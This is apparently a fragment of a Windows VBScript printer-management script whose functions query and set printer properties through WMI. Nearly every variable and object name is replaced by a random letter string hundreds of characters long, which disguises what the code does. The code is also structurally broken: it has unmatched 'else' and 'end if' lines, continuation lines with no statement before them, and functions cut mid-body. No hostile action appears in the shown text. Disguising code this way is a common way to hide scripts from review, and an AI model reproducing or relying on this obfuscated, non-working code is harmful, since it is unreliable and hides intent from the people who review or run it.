wscript.echo L_Text_Msg_Printer14_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & CStr(ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.DefaultPriority)

strStart = Mid(CStr(ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.StartTime), 9, 4)

strEnd = Mid(CStr(ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.UntilTime), 9, 4)

if strStart <> "" and strEnd <> "" then

wscript.echo L_Text_Msg_Printer15_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & Mid(strStart, 1, 2) & "h" & Mid(strStart, 3, 2)

wscript.echo L_Text_Msg_Printer16_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & Mid(strEnd, 1, 2) & "h" & Mid(strEnd, 3, 2)

else

wscript.echo L_Text_Msg_General05_Text

end if

strAttributes = L_Text_Msg_Printer12_Text

if ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.Direct then

strAttributes = strAttributes + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs + L_Text_Msg_Attrib01_Text

end if

wscript.echo strAttributes

wscript.echo

wscript.echo L_Text_Msg_General10_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & PrnStatusToString(ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.PrinterStatus)

wscript.echo L_Text_Msg_General11_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & ExtPrnStatusToString(ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.ExtendedPrinterStatus)

wscript.echo L_Text_Msg_General12_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & DetectedErrorStateToString(ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.DetectedErrorState)

wscript.echo L_Text_Msg_General13_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & ExtDetectedErrorStateToString(ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.ExtendedDetectedErrorState)

OdfxLjvmIEVCoZdoeCWovwqlbAPjRCABkrpKwRKAoRoBqjLUmFciuJXXMQnHRFcJPUHSsEYswXTdTGKmxphwPgXdjycSwQVnPKHgIoPmzRpqeayoeVPNloreXdBpuwTKzxwezIaZqzPVMsfUFPThsKlyuWjZwBGRhUMuqIUyxAeraePRPRVfpgBaoDHtOzuiKtFauHRU = prWQZWcWZmuxTjgnehdNSicGPPrcbObuVTYZdEQDsHzeUqncxuMEHpPzhFllVKOKfFnBcsFvskKNNhPviCUGZscWnoxcrFucCyTAQNpzWQjBZSbLKkFfPCkIexHURdrKUMOdBkAAwMPtTRplSxsCskrzNSxOsGYNBNMByloqKEZikFapGTAvISuhnTiLWRXNjOfEOycT

else

wscript.echo L_Text_Msg_General04_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & oParamDict.Item(kPrinterName) & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs _

& Err.Description

call LastError()

end if

GetPrinter = OdfxLjvmIEVCoZdoeCWovwqlbAPjRCABkrpKwRKAoRoBqjLUmFciuJXXMQnHRFcJPUHSsEYswXTdTGKmxphwPgXdjycSwQVnPKHgIoPmzRpqeayoeVPNloreXdBpuwTKzxwezIaZqzPVMsfUFPThsKlyuWjZwBGRhUMuqIUyxAeraePRPRVfpgBaoDHtOzuiKtFauHRU

end function

function SetPrinter(oParamDict)

on error resume next

gRGuuKzcfxCcAlWOXTfeiFXfwBnMJMLtQxtSTXpOSihyvHjcllruJaGvRPgeyVDahMpuDkunMiGmPasIsVBtGKOcPzKrrGNMoxzFEBeYMyJHLKSpYurEJAQpcNhLLfaUPXiISucKnyFtdJfCSqyexYOiMjFFhLtwSeLrsoaCaiyaKioGQujxxlSQeyfLobMZSCMFBrNr ISMKBOlXznDctniUDEgFSLqQUODfkOqtrRAPiQbZBUQzxDQKraRLRwyTcTbeLKhDcaLspJrQPBQvktwcQnLOLZiKNBJhYBaWhGvYPbvRNbsxqGFJDJCgBopmjzCCFCfejmuAlVLJsABFCZovOheazXEXxXnmNOmIeMYUlGdYEySZmjhLuXpBJHRfLoGcJydoREFKybuy, JIDRMynNFmivtBppyLzkddfcylJAglBWgPSmGPRJZqcMbpMYZNAvEDmwJClvQkbUnnNERTbjaWFQJLGFkJaRCwDzIuktXDVceogMsdOxNZGolBggRXJVjZkPNnXkhkJkNtRcOZOlQbdhvAsnSdOQoWuCGJwxqnPRokupBBXDekKqbVtIMIXPRPtuShaJwOEpvndqaTHe & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & oParamDict.Item(kServerName)

gRGuuKzcfxCcAlWOXTfeiFXfwBnMJMLtQxtSTXpOSihyvHjcllruJaGvRPgeyVDahMpuDkunMiGmPasIsVBtGKOcPzKrrGNMoxzFEBeYMyJHLKSpYurEJAQpcNhLLfaUPXiISucKnyFtdJfCSqyexYOiMjFFhLtwSeLrsoaCaiyaKioGQujxxlSQeyfLobMZSCMFBrNr ISMKBOlXznDctniUDEgFSLqQUODfkOqtrRAPiQbZBUQzxDQKraRLRwyTcTbeLKhDcaLspJrQPBQvktwcQnLOLZiKNBJhYBaWhGvYPbvRNbsxqGFJDJCgBopmjzCCFCfejmuAlVLJsABFCZovOheazXEXxXnmNOmIeMYUlGdYEySZmjhLuXpBJHRfLoGcJydoREFKybuy, pUjGqKgUTvZVPxZZKovlhMFuZoIqeJFtKNopmBpDemWybSOpjCHLKnTxhhHjElFHLoGOkPLwEcrGxyUxLXFqAYdAaICVIkcDMSTcfzINqJqcFwEDgKnuBeHwkyuUieVkSAyeQPjwwxBBrJkmIoNAobwpSExcCElQpPIewWKYvgoiXBWEHEhDhCcvhSzjAMRaCwDNuQLf & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & oParamDict.Item(kPrinterName)

dim strServer

strServer = oParamDict.Item(kServerName)

strNewName = oParamDict.Item(kNewPrinterName)

set ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm = ZBQastBsVhTPIDjNDiSmEwdbAWfilXTJlFQOGdlxeuDcNvqOkKisnoVGcFkNkSpsKOJLBUeiLOXpRhCawWtItyGotnHFoOyFETykVsQCdngjfClyraEqEQnEDnQauNozTJJpCKYcXkcxpIHoBVVVFEGrbZlDGKqbWCyfcKnstYtwhcTnejTBHOYOrfQQgGQzTthzhnJt.Get("Win32_Printer='" & LLrDsIMMIRQdKQQWpFiuUffEaqsVhNnagmGvfKJUzMncPFeRNmyHCRZnqnEAKMtluOxAuPhgvFuZQHrHPleznptazbTdhBuFEYlrjdQLEsJkqluTLOPCYBRyXoQACWcfXsRNrDUCyYtnFFPjWehjkkAnaQxIKFZCXLdJBLiGSLWfqhhsUMhpwQxWDsqgVdCDNCQEVnzp & "'")

else

SetPrinter = qSyyOfYspEghYkxAKESoSsIQZQIOvZMPXuoXvdcacQtyROXWDkHuegfUiCSjzcSvZlpoIqrWnzgREKuyboPHpcdhxSOFcJFlaUwBKEJfcrVbOIxNkTTSJPXdWcIZZjckSzFXdYIcxQAHJcbkaPVYuFEsRxxHhsbqUJExgkzCyhZxaAKRtJFcsRvoPoRGGaUkgxtPSTva

exit function

end if

if oParamdict.Exists(kPortName) then ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.PortName = oParamDict.Item(kPortName) end if

if oParamdict.Exists(kDriverName) then ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.DriverName = oParamDict.Item(kDriverName) end if

if oParamdict.Exists(kShareName) then ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.ShareName = oParamDict.Item(kShareName) end if

if oParamdict.Exists(kLocation) then ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.Location = oParamDict.Item(kLocation) end if

if oParamdict.Exists(kComment) then ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.Comment = oParamDict.Item(kComment) end if

if oParamdict.Exists(kDataType) then ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.PrintJobDataType = oParamDict.Item(kDataType) end if

if oParamdict.Exists(kSepFile) then ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.SeparatorFile = oParamDict.Item(kSepfile) end if

if oParamdict.Exists(kParameters) then ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.Parameters = oParamDict.Item(kParameters) end if

if oParamdict.Exists(kPriority) then ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.Priority = oParamDict.Item(kPriority) end if

if oParamdict.Exists(kDefaultPriority) then ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.DefaultPriority = oParamDict.Item(kDefaultPriority) end if

if oParamdict.Exists(kPrintProc) then ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.PrintProc = oParamDict.Item(kPrintProc) end if

if oParamdict.Exists(kStartTime) then ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.StartTime = oParamDict.Item(kStartTime) end if

if oParamdict.Exists(kUntilTime) then ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.UntilTime = oParamDict.Item(kUntilTime) end if

if oParamdict.Exists(kQueued) then ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.Queued = oParamDict.Item(kQueued) end if

if oParamdict.Exists(kDirect) then ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.Direct = oParamDict.Item(kDirect) end if

if oParamdict.Exists(kShared) then ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.Shared = oParamDict.Item(kShared) end if

if oParamdict.Exists(kHidden) then ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.Hidden = oParamDict.Item(kHidden) end if

if oParamdict.Exists(kEnabledevq) then ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.EnableDevQueryPrint = oParamDict.Item(kEnabledevq) end if

if oParamdict.Exists(kKeepPrintedJobs) then ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.KeepPrintedJobs = oParamDict.Item(kKeepPrintedJobs) end if

if oParamdict.Exists(kDoCompleteFirst) then ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.DoCompleteFirst = oParamDict.Item(kDoCompleteFirst) end if

if oParamdict.Exists(kWorkOffline) then ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.WorkOffline = oParamDict.Item(kWorkOffline) end if

if oParamdict.Exists(kEnableBidi) then ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.EnableBidi = oParamDict.Item(kEnableBidi) end if

if oParamdict.Exists(kRawonly) then ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.RawOnly = oParamDict.Item(kRawonly) end if

if oParamdict.Exists(kPublished) then ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.Published = oParamDict.Item(kPublished) end if

ELzRpeEmyBXzHPhODMtQSEyyFdRlIQrjCJcxwooCiLbMTlPquqedrMcyHjNipgGcezpOFauiBBoFKhSHIsSNIcpaPBnKqjyRQhWJujfnuRzPdqtdHzldvCbrHzpEIDKDVHQfETgXFoTLVjQDBToKMmKZMuyHWKmJAUIUfPatSQiJuWAZPKozBPmIjgMsbliTcEoxdTSm.Put_(kFlagUpdateOnly)

wscript.echo L_Text_Msg_General06_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & LLrDsIMMIRQdKQQWpFiuUffEaqsVhNnagmGvfKJUzMncPFeRNmyHCRZnqnEAKMtluOxAuPhgvFuZQHrHPleznptazbTdhBuFEYlrjdQLEsJkqluTLOPCYBRyXoQACWcfXsRNrDUCyYtnFFPjWehjkkAnaQxIKFZCXLdJBLiGSLWfqhhsUMhpwQxWDsqgVdCDNCQEVnzp

OdfxLjvmIEVCoZdoeCWovwqlbAPjRCABkrpKwRKAoRoBqjLUmFciuJXXMQnHRFcJPUHSsEYswXTdTGKmxphwPgXdjycSwQVnPKHgIoPmzRpqeayoeVPNloreXdBpuwTKzxwezIaZqzPVMsfUFPThsKlyuWjZwBGRhUMuqIUyxAeraePRPRVfpgBaoDHtOzuiKtFauHRU = prWQZWcWZmuxTjgnehdNSicGPPrcbObuVTYZdEQDsHzeUqncxuMEHpPzhFllVKOKfFnBcsFvskKNNhPviCUGZscWnoxcrFucCyTAQNpzWQjBZSbLKkFfPCkIexHURdrKUMOdBkAAwMPtTRplSxsCskrzNSxOsGYNBNMByloqKEZikFapGTAvISuhnTiLWRXNjOfEOycT

else

wscript.echo L_Text_Msg_General07_Text & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs & LLrDsIMMIRQdKQQWpFiuUffEaqsVhNnagmGvfKJUzMncPFeRNmyHCRZnqnEAKMtluOxAuPhgvFuZQHrHPleznptazbTdhBuFEYlrjdQLEsJkqluTLOPCYBRyXoQACWcfXsRNrDUCyYtnFFPjWehjkkAnaQxIKFZCXLdJBLiGSLWfqhhsUMhpwQxWDsqgVdCDNCQEVnzp & rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs _

& Err.Description

call LastError()

end if

else

& Err.Description

call LastError()

end if

SetPrinter = OdfxLjvmIEVCoZdoeCWovwqlbAPjRCABkrpKwRKAoRoBqjLUmFciuJXXMQnHRFcJPUHSsEYswXTdTGKmxphwPgXdjycSwQVnPKHgIoPmzRpqeayoeVPNloreXdBpuwTKzxwezIaZqzPVMsfUFPThsKlyuWjZwBGRhUMuqIUyxAeraePRPRVfpgBaoDHtOzuiKtFauHRU

end function

function PrnStatusToString(Status)

dim str

str = L_Empty_Text

select case Status

case 1

case 2

case 3

str = str + L_Text_Msg_Status03_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

case 4

str = str + L_Text_Msg_Status04_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

case 5

str = str + L_Text_Msg_Status05_Text + rMjvNQmbNfPychMrRhTVrvEdFzneDwhTrZosDmUkQfnqMBgJVkvVWqdHOyEmwjVefFnmAagzYhhdjvyNKtyTbjUnXKPQBOwkjNyKbQpecabLcWuzfxbgrzWrBuNlplEuLMzUKFNBUqCzkeNsbslgyuHJNRcccigPmEpTkdZkQzCXRQqJbXBtOcPrJIJNJcqFPktDDrCs

case 6

